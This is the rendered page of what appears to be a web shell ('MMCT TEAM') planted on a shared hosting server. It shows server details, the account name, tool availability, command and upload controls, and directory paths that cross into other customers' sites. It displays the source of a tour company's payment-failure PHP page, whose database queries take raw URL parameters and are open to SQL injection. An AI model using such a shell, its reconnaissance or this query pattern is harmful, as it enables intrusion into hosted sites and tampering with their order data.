MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 18.221.93.167
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/ppcad7no/hotelsunlightsrinagar.com/../bhatiataxiservice.in/../indiatourbus.com/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/hotelsunlightsrinagar.com/../bhatiataxiservice.in/../indiatourbus.com/failure.php
<?php
include_once('admin/config.php');
$old_ss = "SELECT ord_id FROM tbl_order WHERE ord_id='".$_GET['payment_request_id']."'";
$res = mysqli_query($db, $old_ss);
$datass = mysqli_fetch_assoc($res);
$old_id=$datass['ord_id'];
  if($old_id==$_GET['payment_request_id']) {
    if ($_GET['payment_status'] === 'Failed') {
        $paymentRequestId = $_GET['payment_request_id'];
        $transaction_id = $_GET['transaction_id'];
        $sql = "UPDATE tbl_order SET ord_status='Failed', transaction_id='$transaction_id' WHERE ord_id='$paymentRequestId'";
        // $res = mysqli_query($db, $sql);
        $result=mysqli_query($db, $sql);
    }
  }
?>
<!doctype html>
<html lang="en">

<head>
    <?php include "links.php";?>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Failure</title>

</head>

<body>

    <!--<div class="preloader">-->
    <!--    <div class="loader">-->
    <!--        <span></span>-->
    <!--        <span></span>-->
    <!--        <span></span>-->
    <!--        <span></span>-->
    <!--    </div>-->
    <!--</div>-->

    <?php include "header.php";?>

    <!-- breadcum area  -->
    <section id="marquee">
        <div class="container-fluid">
            <div class="row">
                <div class="col-md-12 mp-0s" style="background-color:#ed1c24; padding:3.1px;">
                  <marquee behavior="scroll" direction="left" onmouseover="this.stop();" onmouseout="this.start();" scrollamount="4" style="color:#fff; font-weight:bold; font-size:20px; position:relative; top:2px;">
                   Agra Tour : <span>699/- </span> Delhi Sighseeing : <span>499/- </span> Jaipur Tour : <span>5499/- </span>
                  </marquee>
                </div>
            </div>
        </div>
    </section>
    
    <div class="breadcrumb breadcrumb-style-one">
        <div class="container">
            <div class="col-lg-12 text-center">
                <h1 class="breadcrumb-title">Failure</h1>
                <ul class="d-flex justify-content-center breadcrumb-items">
                    <li class="breadcrumb-item"><a href="index.html">Home</a></li>
                    <li class="breadcrumb-item active">Failure</li>
                </ul>
            </div>
        </div>
    </div>

    <div class="about-main-wrappper pt-50">
        <div class="container">
            <div class="about-tab-wrapper">
                <div class="row justify-content-center align-items-center">
                <div class="col-lg-12">
                        <div class="about-tab-image-grid text-center">
                            <div class="about-video d-inline-block">
                                <h2 style="color:red;">Your Payment Failed. Try Again!!!</h2>
                                <!--<img width="100%" src="bus-img/about-us-1.png" alt="">-->
                            </div>
                        </div>
                    </div>
                </div>
            </div>


        </div>
    </div>
    < <?php include "footer.php" ?>

</html>

MMCT - 2023